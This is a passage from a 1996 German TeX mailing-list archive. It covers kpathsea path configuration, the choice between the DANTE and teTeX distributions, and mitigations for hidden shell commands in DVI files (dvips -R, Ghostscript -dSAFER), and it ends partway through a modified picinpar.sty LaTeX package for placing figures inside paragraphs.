im > > 'kpathsea.info' beschriebene 'texmf.cnf' hat wohl keine Auswirkungen auf die > > Pfade, obwohl es so geschrieben stand. Sind vielleicht die Pfadangaben beim > > compilieren in den Programmen selbst eingebaut worden ? > > Damit die Programme texmf.cnf beachten k"onnen, m"ussen sie es irgendwie > finden. Zumindest der Pfad von texmf.cnf muss also in den Programmen > selber stehen (oder vielmehr in der kpathsea-Bibliothek), oder sie > m"ussen ihn irgendwie herausfinden. > Um den eincompilierten Suchpfad f"ur texmf.cnf zu "uberschreiben, kann die Umgebungsvariable TEXMFCNF gesetzt werden, z.B.: export TEXMFCNF=/....../texmf/web2c In texmf.cnf selbst ist dann noch in der Zeile TEXMF=/....../texmf der korrekte Pfad f"ur den texmf-Baum einzutragen. Auf keinen Fall sollte man vers"aumen, die ls-R Datenbank zu aktualisieren (die darf eher fehlen, als nicht aktuell sein!!): cd /....../texmf ls -LR /...../texmf >ls-R ^-- hier mu"s der komplette Suchpfad stehen!! Jetzt sollte eigentlich alles funktionieren. Eventuell mu"s man noch einige Pfade in MakeTeXPK anpassen. Viel Erfolg, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From owner-tex-d-l@VM.GMD.DE Fri Apr 19 11:21:25 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "R.Jones" Date: Fri, 19 Apr 1996 11:21:20 +0200 Subject: SGI-Installation, UNIX Auf unserem DEC Alpha-Server haben wir die DANTE TeX-Distribution installiert, auf einer (stand alone) SGI-Maschine l"auft (ebenfalls gut) die teTeX-Distribution. Sollten wir (auf dem DEC-Cluster) "DANTE" durch "teTeX" abl"osen? Robert Jones -- Robert O. Jones Forschungszentrum J"ulich, IFF D-52425 J"ulich, Germany. e-mail : r.jones@kfa-juelich.de Tel. : (+49) 2461-614202 Fax : (+49) 2461-612850 From owner-tex-d-l@VM.GMD.DE Fri Apr 19 12:04:43 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Reinhard Zierke Date: Fri, 19 Apr 1996 12:00:29 +0200 Subject: Re: Sicherheitsluecken in xdvi? -----BEGIN PGP SIGNED MESSAGE----- Hallo, Matthias Eckermann schreibt: > Und fuer dvips mit "-R" (respektive "R" in config.ps) > gilt eben doch, dass die verdeckten Shellscripten nicht ausgefuehrt > werden. Und ueber die Option "R" im Config-File sollte sich das Problem > auch fuer Programme umgehen lassen, die dvips benutzen, da dvips (meines > Wissens) diese Config-Datei niemals umgeht, sondern hoechstens andere > "darauf" laed. Leider nur ueber die Option '-R' beim Aufruf von dvips. Die Option 'R' in der Datei config.ps hat eine andere Bedeutung. Ich zitiere aus der dvips-Dokumentation (Version 5.58f): `R NUM NUM ...' Sets up a list of default resolutions to search for `pk' fonts, if the requested size is not available. The output will then scale the font found using PostScript scaling to the requested size. The resulting output may be ugly, and thus a warning is issued. To turn this off, use a line with just the `R' and no numbers. Gruss, Reinhard - -- Reinhard Zierke Universitaet Hamburg, FB Informatik zierke@informatik.uni-hamburg.de Vogt-Koelln-Strasse 30, D-22527 Hamburg postmaster@informatik.uni-hamburg.de Tel.: (040) 54715-295/276 Fax: -241 == Weisst Du, UNIX ist fuer normale Menschen praktisch unbedienbar == F. Gers -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQCVAwUBMXdkNEbfUueFIgaNAQFIJQP/SovkyTRuGvSHBbzWtj74mNPjcjxBCmy0 kJJxI0SAXoA08V/pBefsWrpAK9ZGEa33t7s2UnXdkLg9ei67x9ANO7a/Ve6Hz4l0 D/HsOdsx1za6nqXhpZvswoUlovD5VqYcij5HYuEFlMnlDm6pf8MH9CXa3y2Dnr2g wit3O/lQh/A= =xaUK -----END PGP SIGNATURE----- From owner-tex-d-l@VM.GMD.DE Fri Apr 19 12:19:16 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Matthias Eckermann Date: Fri, 19 Apr 1996 12:18:24 +0200 Subject: Re: Sicherheitsluecken in xdvi? On Fri, 19 Apr 1996, Reinhard Zierke wrote: > > gilt eben doch, dass die verdeckten Shellscripten nicht ausgefuehrt > > werden. Und ueber die Option "R" im Config-File sollte sich das Problem > > auch fuer Programme umgehen lassen, die dvips benutzen, da dvips (meines > > Wissens) diese Config-Datei niemals umgeht, sondern hoechstens andere > > "darauf" laed. > > Leider nur ueber die Option '-R' beim Aufruf von dvips. Die Option 'R' > in der Datei config.ps hat eine andere Bedeutung. Ich zitiere aus der > dvips-Dokumentation (Version 5.58f): Oops, bitte um Entschuldigung, haette vielleicht doch noch 'mal in dvips.dvi schauen sollen. Mh, das ist natuerlich dann wirklich problematisch, sprich eine Sicherheitsluecke, ... Dennoch: ein schoenes Wochenende -- Matthias -- Matthias Eckermann, cand.phil., Munich/Germany | errare (email) M.Eckermann@lrz.uni-muenchen.de | humanum (WWW) http://www.lrz-muenchen.de/u/ud311aa/html/ | est From owner-tex-d-l@VM.GMD.DE Fri Apr 19 12:31:21 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Fri, 19 Apr 1996 12:29:30 +0200 Subject: Re: Antw.: Re: SGI Installation G"o, den 19.04.1996 [Gerhard Zelder :] > > Vielen Dank fuer die Resonanz ! > > Ich habe es genau so wie von Joachim beschrieben durchgefuehrt, aber beim > Starten von LaTeX findet er trotzdem die Format-Files nicht. Eine ls-R Datenbank > habe ich nicht, aber Du sagtest ja, das wuerde nichts ausmachen. > > Wie koennte ich nun weiter verfahren ? > > Gruesse Gerhard. Ist denn die Verzeichnisstruktur _unterhalb_ von texmf die gleiche wie auf den anderen SGI Maschinen, oder hat sich da auch etwas ge"andert? Im letzteren Fall m"ussen nat"urlich s"amtliche Pfade in texmf.cnf "uberpr"uft u. ggf. korrigiert werden (z.B dann auch TEXFORMATS). Ein anderer Ansatzpunkt w"are folgender: Die Suchreihenfolge von KPATHSEA ist folgenderma"sen: 1) eincompilierte Pfade wird "uberschreiben durch: 2) Pfade in texmf.cnf wird "uberschreiben durch: 3) Pfade in Umgebungsvariablen Daher solltest Du vielleicht einmal untersuchen, ob (aus welchen Gr"unden auch immer) irgendwelche TeX-bezogenen Umgebungsvariablen gesetzt sind (au"ser TEXMFCNF), die die in texmf.cnf vern"unftig gesetzten Pfade wieder mit unsinnigen Werten u"berschreiben. (Bem.: Sehr h"aufig tritt dies auf, wenn nach einer Erneuerung der TeX-Installation Umgebungsvariablen von Benutzern -- in der Regel TEXINPUTS -- immer noch auf alte Verzeichnisse zeigen.) Ansonsten bleibt nur noch, mit Hilfe der Debug-Funktion von KPATHSEA nachzuforschen, _wo_ _was_ "uberhaupt gesucht wird. Debugging wird eingeschaltet mittels export KPATHSEA_DEBUG=32 f"ur Debugging der Dateiensuche oder export KPATHSEA_DEBUG=63 f"ur komplettes Debugging. Weiterhin viel Erfolg, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From owner-tex-d-l@VM.GMD.DE Fri Apr 19 12:38:30 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Hubert Palme Date: Fri, 19 Apr 1996 12:37:27 +0200 Subject: Re: Sicherheitsluecken in xdvi? Matthias Eckermann: > . . . > > Ich hab's ausprobiert, und siehe da, > dvips verfuegt nicht umsonst ueber eine Option > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > bzw. unterbunden werden. Mit -R scheint es zu klappen, auch wenn dvips dann einen core dump schmeisst. Aber kennt jemand eine Loesung fuer xdvi? -nopostscript bzw. -noghostscript funktioniert bei uns (18f) nicht. Gruss, ====================================================================== Hubert Palme Bergische Universitaet-Gesamthochschule Wuppertal Computing Center D-42097 Wuppertal Email: palme@uni-wuppertal.de (Germany) http://www.uni-wuppertal.de/hrz/daten/adressen/h.palme.html From owner-tex-d-l@VM.GMD.DE Fri Apr 19 12:03:26 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Holger Grothe Date: Fri, 19 Apr 1996 11:53:56 MESZ Subject: Re: Sicherheitsluecken in xdvi? > > On Thu, 18 Apr 1996, Holger Grothe wrote: > > > > > > Matthias Eckermann schreibt: > > > > > > > Ich hab's ausprobiert, und siehe da, > > > > dvips verfuegt nicht umsonst ueber eine Option > > > > "R Run securely" (dvipsk 5.58f), mit der solche Dinger verboten sind > > > > bzw. unterbunden werden. > > > > > > Auch Ghostscript hat eine solche Option (-dSAFER). Man muss nur bei xdvi > > > (durch geeignetes Compilieren) daf"ur sorgen, dass gs mit dieser Option > > > aufgerufen wird. Ich glaube, neuere xdvis sind schon entsprechend > > > voreingestellt. > > Ich fuehle mich falsch zitiert: Dafuer bitte ich vielmals um Entschuldigung. Ich habe einfach nicht aufgepasst und in meiner Eile zu viel geloescht. Der Einruecklevel stimmt zwar noch, aber die entscheidende Zeile fehlt. Nochmals sorry! Meine Antwort bezog sich tatsaechlich auf Anselm, vom dem auch der "zweite" Abschnitt stammt. > der Teil von "Ich hab's ausprobiert ..." bis "... unterbunden werden" > stammt von mir; ABER: der Teil ueber Ghostscript und xdvi von > Anselm Lingnau. Und fuer dvips mit "-R" (respektive "R" in config.ps) > gilt eben doch, dass die verdeckten Shellscripten nicht ausgefuehrt > werden. Und ueber die Option "R" im Config-File sollte sich das Problem > auch fuer Programme umgehen lassen, die dvips benutzen, da dvips (meines > Wissens) diese Config-Datei niemals umgeht, sondern hoechstens andere > "darauf" laed. > Das ist richtig und dies wollte und habe ich hoffentlich auch nicht bestritten. Mir ging es nur darum, dass -dSAFER in diesem Fall wirkunglos ist, da das "trojanische Pferd" nicht in einer Postscriptdatei steckt (da hilft dann (hoffentlich) -dSAFER), sondern schon in dem eigentlichen Aufruf von Ghostscript durch xdvi (Wie ja auch schon im ersten Posting geschrieben wurde). Holger -- Holger Grothe (Email: grothe@mathematik.th-darmstadt.de) Fachbereich Mathematik, TH Darmstadt From owner-tex-d-l@VM.GMD.DE Fri Apr 19 14:28:31 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "R.Jones" Date: Fri, 19 Apr 1996 14:28:23 +0200 Subject: SGI-Installation, UNIX Anselm Lingnau schreibt: > Ich kann allen Unix-Anwendern nur immer wieder die hervorgl"anzende > teTeX-Distribution von Thomas Esser empfehlen, in der ... Auf unserem DEC Alpha-Server haben wir die DANTE TeX-Distribution installiert, auf einer (stand alone) SGI-Maschine l"auft (ebenfalls gut) die teTeX-Distribution. Sollten wir (auf dem DEC-Cluster) "DANTE" durch "teTeX" abl"osen? Robert Jones -- Robert O. Jones Forschungszentrum J"ulich, IFF D-52425 J"ulich, Germany. e-mail : r.jones@kfa-juelich.de Tel. : (+49) 2461-614202 Fax : (+49) 2461-612850 From owner-tex-d-l@VM.GMD.DE Sun Apr 21 11:09:19 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gundolf Frank Date: Fri, 19 Apr 1996 14:47:00 +0200 Subject: Re: Bilder immer aussen Hallo, wie in meiner vorherigen Mail geschrieben, habe ich den Style kommentiert und ICH BITTE DAHER JEDEN DIE VON MIR VOR 3 TAGEN GEPOSTETE VERSION ZU L=D6SCHEN. Die nun folgende Version ist nun auch die neuste, die ich auf Dante gefunden habe. Ich hoffe, da=DF hiermit die Diskussion beendet ist. Noch weiterhin erfolgreiche Arbeit Gundolf -------------- PicInPa1.Sty ----------- \typeout{% Pictures in Paragraphs. Version 1.2a, July 13, 1993} \typeout{% Changed Version by Gundolf Frank. April 18, 1996} % ! This is a changed version of picinpar.sty version 1.2a as of july 13, 1= 993 % Macros for making windows with LaTeX % % By Friedhelm Sowa, Heinrich-Heine-University D\"usseldorf, % Computing Center % In case of emergency try to get the email adress % after having checked the input :-) % Okay, for those who are too lazy: % tex@ze8.rz.uni-duesseldorf.de % sowa@convex.rz.uni-duesseldorf.de % ! Changed by Gundolf Frank. All changes are commented with a "!" at the % ! of the lines. % ! mail to gundolf@adfc.tng.oche.de % % ! I inserted a further option: % ! figure and picture on the left side was "l" as second parameter % ! figure and picture on the right side was "r" as second parameter % ! figure and picture on center of the side was "c" as second parameter % ! NEW: % ! figure and picture on the outside of the doubleside is "o" as % ! second parameter % % ! IMPORTANT: TO GET CORRECT OUTPUTS YOU HAVE TO COMPILE YOUR DOCUMENT % ! TWICE. % % Incorporated are basic ideas of Alan Hoenig (Thanks Alan!) % Thanks to Phil Taylor, who gave some useful hints during his % tutorial at the EURO TeX 92 in Prague. % % Also thanks to Ulrik Vieth, who incorporated the macros for % generating captions within the windows. % %---------------- % Known problems: % % - Don't use \samepage % - Use \footnotemark within and \footnotetext outside the % window-environment instead of \footnote % - When using the epic-package load picinpar before epic % like \documentstyle[...,picinpar,epic]{...} %---------------- % Changes: % % 1.1 If \brokenpenalty\maxdimen then it's set to 9999 within the % window's group % % Reported by kuhlmav@elec.canterbury.ac.nz % % 1.2 When centering a window and the right column contains less % lines than the left column then the right lines are raised % by using \vfill % % Reported by Wolfgang Riedel, TU Chemnitz % % 1.2a A better way to shift the right box. There was some trouble % when the window is on the left. I don't know why I didn't % notice TeX's overfull \vbox % % Reported by Stephan Seidl, seidl@rcs.urz.tu-dresden.de % % % % Here we go % % Counts \newcount\br \newcount\bl \newcount\na \newcount\nb \newcount\tcdsav \newcount\tcl \newcount\tcd \newcount\tcn \newcount\cumtcl \newcount\cumpartcl % Dimens \newdimen\lftside \newdimen\rtside \newdimen\hpic \newdimen\vpic \newdimen\strutilg \newdimen\picwd \newdimen\topheight \newdimen\ilg \newdimen\lpic \newdimen\lwindowsep \newdimen\rwindowsep % VK 10 Feb 93 \lwindowsep0.5\baselineskip % " \rwindowsep0.5\baselineskip % " \newdimen\cumpar % Tokens \newtoks\twa \newtoks\la \newtoks\ra \newtoks\ha \newtoks\pictoc % Boxes \newbox\rawtext \newbox\holder \newbox\windowbox \newbox\wartext \newbox\finaltext \newbox\aslice \newbox\bslice \newbox\wbox \newbox\wstrutbox \newbox\picbox \newbox\waslice \newbox\wbslice \newbox\fslice % Another strut \def\wstrut{\relax\ifmmode\copy\wstrutbox\else\unhcopy\wstrutbox\fi} % \long\def\window[#1,#2,#3,#4] {% % #1 is an integer---no. of lines down from par top % #2 is l, r or c what means left, right or centered % default is, that the picture is printed at the left side % #3 is the material for setting a graphic box % #4 is the explanation for the graphic \vskip\parskip\everypar{} \global\cumpar=3D0pt \global\cumpartcl=3D0 \global\cumtcl=3D0 \tcd=3D#1 \lftside=3D0pt \rtside=3D0pt % \hpic=3D\linewidth \twa=3D{} \la=3D{} \ra=3D{} \ha=3D{} \setbox\wbox=3D\hbox{(} \computeilg \pictoc=3D{#3} \setbox\windowbox=3D\vbox{\hbox{#3}} \setbox\wbox=3D\vbox{\hbox{\noindent#4}} \picwd=3D\wd\windowbox \hpic=3D\picwd \vpic=3D\ht\windowbox\advance\vpic\dp\windowbox \if #2c\lftside=3D\linewidth\advance\lftside-\picwd\rtside=3D0.5\lftside \lftside=3D\rtside \else \if #2r\lftside=3D\linewidth\advance\lftside-\picwd \rtside=3D0pt \else\rtside=3D\linewidth\advance\rtside-\picwd \lftside=3D0pt \fi \fi % % In case of a centered picture, that does not allow text beside % we have to add some glue between preceding text, window and % following text. % \if #2c \ifdim\rtside<72pt \rtside=3D0pt\lftside=3D0pt \setbox\windowbox=3D\vbox{% \hrule width\picwd height0pt depth0pt \vskip.5\parskip\box\windowbox\vskip.5\parskip \hrule width\picwd height0pt depth0pt} \vpic=3D\ht\windowbox\advance\vpic\dp\windowbox \fi \parskip0pt % Within the window area a \parskip>0pt may look ugly \fi \ifnum\picwd=3D0\setbox\picbox=3D\vbox{\hbox{\noindent#4}} % without pict= ure \hpic=3D\wd\picbox % calculate dimensions \ifnum\lftside=3D0\rtside=3D\linewidth\advance\rtside-\hpic \else\ifnum\rtside=3D0\lftside=3D\linewidth\advance\lftside-\= hpic \else\rtside=3D0.5\linewidth\advance\rtside-0.5\hpic \lftside=3D\rtside \fi\fi \else\setbox\picbox=3D\vbox{\hsize=3D\hpic\vbox to\vpic{\box\windowbox\vfil= l}% \ifdim\ht\wbox>0pt\vskip\ilg\vbox{\hsize=3D\hpic\noindent#4 % % See above, this is the second part of glue % \if #2c \ifdim\rtside=3D0pt \ifdim\lftside=3D0pt \vskip\parskip\hrule width\hpic height0pt depth0pt \fi \fi \fi } \fi}\fi \vpic=3D\ht\picbox\advance\vpic\dp\picbox %\ifdim\lftside>0pt\advance\lftside-0.5\baselineskip\fi % put in a distance %\ifdim\rtside>0pt\advance\rtside-0.5\baselineskip\fi % between text and % % window \ifdim\lftside>0pt\advance\lftside-\lwindowsep\fi % VK 10 Feb 93 \ifdim\rtside>0pt\advance\rtside-\rwindowsep\fi % " \global\br=3D\rtside \global\bl=3D\lftside \ifnum\picwd=3D0 \ifdim\vpic>0pt\picwd=3D\hpic \else\vpic=3D\ht\picbox\advance\vpic\dp\picbox \fi \fi \global\tcl=3D0 \lpic=3D0pt \loop\global\advance\tcl by 1 \lpic=3D\tcl\baselineskip \ifdim\lpic<\vpic\repeat \vpic=3D\lpic \global\cumtcl=3D\tcl % % Here we know exactly the number of indented lines and % are able to generate the tokens for the \parshape list % \ifnum\bl>0\la=3D{ 0pt \lftside}\fi \ifnum\br>0\ra=3D{ 0pt \rtside}\fi \ifnum\tcd>0\ha=3D{ 0pt \linewidth}\fi \ifnum\tcl<1\global\tcl=3D1\fi \createparshapespec \tcd=3D#1 % restore the lintel \global\tcdsav=3D#1 % % This is a very tricky part of the package. Some day there % will exist a detailed documentation. % \ifdim\parskip>0pt \def\par{\hfill\vadjust{\vskip0pt\vbox to\parskip{\vss}} \global\advance\cumpartcl by 1 \global\advance\cumpar by \parskip \global\lpic=3D\ht\wstrutbox \global\advance\lpic by \dp\wstrutbox \ifdim\cumpar<\lpic \else\advance\cumpar by -\lpic \advance\cumtcl by -1 \fi \egroup\global\tcd=3D\tcdsav \setbox\wartext=3D\vbox{\unvbox\rawtext} \setbox\rawtext=3D\vbox\bgroup \clubpenalty=3D0\widowpenalty=3D0 \ifnum\brokenpenalty<\maxdimen\else\brokenpenalty=3D9999\fi \tolerance=3D1000 \global\lpic=3D\ht\wstrutbox \global\advance\lpic by \dp\wstrutbox % % Pick up header lines % \ifnum\tcd>0\vbadness=3D10000\splittopskip0pt \loop\setbox\holder=3D\vsplit\wartext to \lpic \hpic=3D\wd\holder\prune\holder\hpic \ifdim\ht\holder=3D\parskip \hbox{\vrule height\parskip width0pt depth0pt} \typeout{A paragraph ended within headlines! Please change } \typeout{the number of headlines for the window environment!} \global\advance\tcd by -1 \else\hbox{\vbox{\box\holder\unskip}} \global\advance\tcd by -1 \fi \ifnum\tcd>0\repeat \global\tcd=3D0 \ifdim\ht\wartext>0pt \ifdim\ht\wartext=3D\parskip\global\advance\tcdsav by 1 \setbox\holder=3D\vsplit\wartext to \lpic \hbox{\vrule height\parskip width0pt depth0pt} \global\advance\cumpar by -\parskip \global\advance\cumpartcl by -1 \fi\fi \fi % % Pick up lines beside window, the rest too % \global\tcn=3D0 \topheight=3D0pt \ifdim\ht\wartext>0pt\vbadness=3D10000\splittopskip0pt \loop\setbox\holder=3D\vsplit\wartext to \lpic \hpic=3D\wd\holder\prune\holder\hpic \ifdim\ht\holder=3D\parskip \hbox{\vrule height\parskip width0pt depth0pt} \global\advance\topheight by \parskip \else \setbox\fslice=3D\hbox{\box\holder} \hpic=3D\ht\fslice \advance\hpic by\dp\fslice \ifdim\hpic>\lpic \global\advance\topheight by\hpic \hbox{\vbox{\box\fslice\vss}} \else\ifdim\hpic=3D0pt\relax \else\global\advance\topheight by \lpic \hbox{\vbox{\box\fslice}}\fi\fi \fi \ifdim\ht\wartext>0pt\repeat \tcn=3D0 \loop\advance\tcn by 1 \advance\topheight by -\lpic \ifdim\topheight>0pt\repeat \hpic=3D\topheight \ifdim\hpic<0pt\advance\tcn by -1\fi \global\topheight=3D\tcn\lpic \fi % % If the indented part is not completed we have to generate a % new token for the \parshape list % \ifnum\tcn<\cumtcl \global\tcl=3D\cumtcl \global\advance\topheight by\cumpartcl\parskip \global\advance\tcl by -\tcn \global\twa=3D{} \ifnum\tcl>0 \global\vpic=3D\topheight \global\topheight=3D\tcl\lpic \global\advance\vpic by \topheight \global\advance\vpic by \lpic \createparshapespec \parshape=3D\tcn \the\twa \else\parshape=3D0 \fi \else\parshape=3D0\fi} \else\def\par{\\} \fi % new definition of \par in case of \parskip>0 ends here % % This is where we start to pick up the paragraph(s) % \setbox\rawtext=3D\vbox\bgroup\unvbox\rawtext\unskip \clubpenalty=3D0\widowpenalty=3D0 \ifnum\brokenpenalty<\maxdimen\else\brokenpenalty=3D9999\fi \tolerance=3D1000 \parshape=3D\tcn \the\twa } % \def\endwindow{% \global\tcd=3D\tcdsav \egroup\vskip\parskip\parshape=3D0 % reset parshape; end \box\rawtext \vbadness=3D10000 \splittopskip=3D0pt % % Typeset the lines above the window % \ifnum\tcd>0\setbox\holder=3D\vsplit\rawtext to \tcd\baselineskip \tcn=3D\tcd \loop\advance\tcn -1 \setbox\fslice=3D\vsplit\holder to\baselineskip \prune\fslice\linewidth \topheight=3D0pt \ifnum\dp\fslice>\dp\wstrutbox \advance\topheight-\dp\fslice \advance\topheight\dp\wstrutbox \advance\topheight\ilg\fi \hbox to\linewidth{\box\fslice} \vskip-\topheight \ifdim\ht\holder>0pt\repeat \fi % % Now we build the boxes beside the window % \global\topheight=3D\tcl\baselineskip \ifnum\cumpartcl>0\global\tcl=3D\cumtcl \global\topheight=3D\vpic \fi \ifnum\bl>0 \ifnum\br>0 \multiply\topheight by 2\fi\fi \ifnum\bl>0\setbox\holder=3D\vsplit\rawtext to\topheight \else\ifnum\br>0\setbox\holder=3D\vsplit\rawtext to\topheight\fi\fi \tcn=3D\tcl \na=3D0 \nb=3D0 \ifnum\bl>0 \ifnum\br>0 \multiply\tcn by 2\fi\fi \ifnum\bl>0\na=3D\tcn\ifnum\br>0\divide\na by 2\fi\fi \ifnum\br>0\nb=3D\tcn\ifnum\bl>0\divide\nb by 2\fi\fi \ifnum\na=3D0\ifnum\nb=3D0 \setbox\waslice=3D\vbox to\vpic{\vss} \setbox\wbslice=3D\vbox to\vpic{\vss} \bl=3D1\br=3D1 \vskip\ilg \fi\fi % % both sides % \ifnum\na>0 \ifnum\nb>0 \loop\advance\nb -1 \advance\na -1 \setbox\aslice=3D\vsplit\holder to\baselineskip \prune\aslice\lftside \setbox\waslice=3D\vbox{\unvbox\waslice\hbox to\lftside{\box\aslice\hfil}} \setbox\bslice=3D\vsplit\holder to\baselineskip \prune\bslice\rtside \setbox\wbslice=3D\vbox{\unvbox\wbslice\hbox to\rtside{\box\bslice\hfil}} \ifnum\nb>0\repeat \fi\fi % % only text on the left side % \ifnum\na>0 \loop\advance\na -1 \setbox\aslice=3D\vsplit\holder to\baselineskip \prune\aslice\lftside \setbox\waslice=3D\vbox{\unvbox\waslice\hbox to\lftside{\box\aslice\hfil}} \ifdim\ht\holder>0pt\repeat \fi % % only text on the right side % \ifnum\nb>0 \loop\advance\nb -1 \setbox\bslice=3D\vsplit\holder to\baselineskip \prune\bslice\rtside \setbox\wbslice=3D\vbox{\unvbox\wbslice\hbox to\rtside{\box\bslice\hfil}} \ifdim\ht\holder>0pt\repeat \fi % % fixing the dimensions of the window part % \ifnum\bl=3D0\topheight=3D\ht\wbslice \else\ifnum\br=3D0\topheight=3D\ht\waslice \else\ifdim\ht\waslice>\ht\wbslice\topheight=3D\ht\waslice \else\topheight=3D\ht\wbslice\fi\fi\fi % % ship out the window material to the main vertical list % \ifnum\bl>0 \ifnum\br>0 \ifdim\ht\wbslice<\topheight \setbox\wbslice=3D\vbox to\topheight{\box\wbslice\vfill} \fi\fi\fi \setbox\windowbox=3D\vbox{\hbox to\linewidth{% \ifnum\bl>0\box\waslice\hfill\fi% \vbox to\topheight{\hrule width\picwd height0pt depth0pt\vskip0pt% \vfill\unvbox\picbox% \ifnum\picwd>0\vfill\fi% \vss}\ifnum\br>0\hfill\vbox{\box\wbslice}\fi}}% \unvbox\windowbox% \loop \setbox\bslice=3D\vsplit\rawtext to\baselineskip \prune\bslice\linewidth \setbox\wbslice=3D\vbox{\hbox to\linewidth{\box\bslice\hfil}} \unvbox\wbslice \ifdim\ht\rawtext>0pt \repeat }% FINITO % % What else do we need? % \def\prune#1#2{ % take a \vbox containing a single \hbox, % \unvbox it, and cancel the \lastskip % put in a \hbox of width #2 \unvbox#1 \setbox#1=3D\lastbox % \box#1 now is an \hbox \ifdim\ht#1=3D\parskip \setbox#1=3D\hbox to#2{\vrule height\parskip depth0pt width0pt\hfill} \else\ifdim\ht#1=3D0pt\relax \else\setbox#1=3D\hbox to#2{\wstrut\unhbox#1\unskip}\fi\fi} % % Here the token \twa is generated. % It's not so difficult as it looks like. % \def\createparshapespec{% \global\tcn=3D0 \ifnum\bl>0\global\tcn=3D\tcl\else\ifnum\br>0\global\tcn=3D\tcl\fi\fi \na=3D0 \nb=3D0 \ifnum\bl>0 \ifnum\br>0 \multiply\tcn by 2\fi\fi \ifnum\bl>0\na=3D\tcn\ifnum\br>0\divide\na by 2\fi\fi \ifnum\br>0\nb=3D\tcn\ifnum\bl>0\divide\nb by 2\fi\fi \global\advance\tcn by\tcd \global\advance\tcn by1 \ifnum\tcd>0 \loop\twa=3D\expandafter{\the\twa\the\ha}\advance\tcd -1 \ifnum\tcd>0\repeat \fi \ifnum\bl>0 \ifnum\br>0 \loop\twa=3D\expandafter{\the\twa\the\la}\advance\na -1 \twa=3D\expandafter{\the\twa\the\ra}\advance\nb -1 \ifnum\na>0\repeat \fi\fi \ifnum\na>0 \loop\twa=3D\expandafter{\the\twa\the\la}\advance\na -1 \ifnum\na>0\repeat \fi \ifnum\nb>0 \loop\twa=3D\expandafter{\the\twa\the\ra}\advance\nb -1 \ifnum\nb>0\repeat \fi \global\twa=3D\expandafter{\the\twa 0pt \the\linewidth}} % \def\computeilg{% compute the interline glue \tcl=3D0\ilg=3D0pt\strutilg=3D0pt \loop\setbox\wbox=3D\hbox{\char\tcl} \ifdim\ht\wbox>\ilg\ilg=3D\ht\wbox\fi \ifdim\dp\wbox>\strutilg\strutilg=3D\dp\wbox\fi \advance\tcl by 1 \ifnum\tcl<128\repeat \ht\wbox=3D\ilg \dp\wbox=3D\strutilg \strutilg=3D\ht\wbox %\advance\strutilg by\ilg \ifdim\strutilg>\baselineskip \typeout{character with height greater baselineskip found in font} \typeout{baselineskip changed to 1.5 of that height!} \baselineskip=3D1.5\strutilg \fi \global\ilg=3D\baselineskip \global\advance\ilg-\ht\wbox \global\advance\ilg-\dp\wbox \strutilg=3D\ht\wbox \advance\strutilg by\ilg \setbox\wstrutbox=3D\hbox{\vrule height\strutilg depth\dp\wbox width0pt}} % % frames % \def\framepic#1{\vbox{% \hsize\expandafter\wd\csname #1box\endcsname \advance\hsize .8pt \hrule% \hbox to\hsize% {\vrule\hfill\vbox to\expandafter\ht\csname #1box\endcsname{% \expandafter\box\csname #1box\endcsname }\hfill\vrule}\hrule\vss}} % \def\wframepic#1{\vbox{% \hsize\expandafter\wd\csname #1box\endcsname \advance\hsize 3.8pt\hrule% \hbox to\hsize% {\vrule\hfill\vbox{\kern1.5pt% \expandafter\box\csname #1box\endcsname \kern1.5pt}\hfill\vrule}\hrule\vss}} % % caption % \def\winstepcounter#1{\global\advance\csname c@#1\endcsname 1 {\let\@elt\@stpelt \csname cl@#1\endcsname}} \def\winrefstepcounter#1{\winstepcounter{#1}\let\@tempa\protect \def\protect{\noexpand\protect\noexpand}% \edef\@currentlabel{\csname p@#1\endcsname\csname the#1\endcsname}% \let\protect\@tempa} \long\def\w@dblarg#1{\@ifnextchar[{#1}{\w@xdblarg{#1}}} \long\def\w@xdblarg#1#2\par{#1[{#2}]#2\par} \def\wincaption{\winrefstepcounter\@captype \w@dblarg{\@wincaption\@captype= }} \long\def\@wincaption#1[#2]#3\par{\par\addcontentsline{\csname ext@#1\endcsname}{#1}{\protect\numberline{\csname the#1\endcsname}{\ignorespaces #2}}\begingroup \@parboxrestore \normalsize \@makewincaption{\csname fnum@#1\endcsname}{\ignorespaces #3}\par \endgroup} \long\def\@makewincaption#1#2{% \setbox\@tempboxa\hbox{\footnotesize{\bf #1:\enspace}{#2}}% \ifdim\wd\@tempboxa>\picwd {\footnotesize{\bf #1:\enspace}{#2\par}} \else \hbox to\picwd{\hfil\box\@tempboxa\hfil} \fi} % ! Until here everything is the same. % ! First I uncomment the original part. 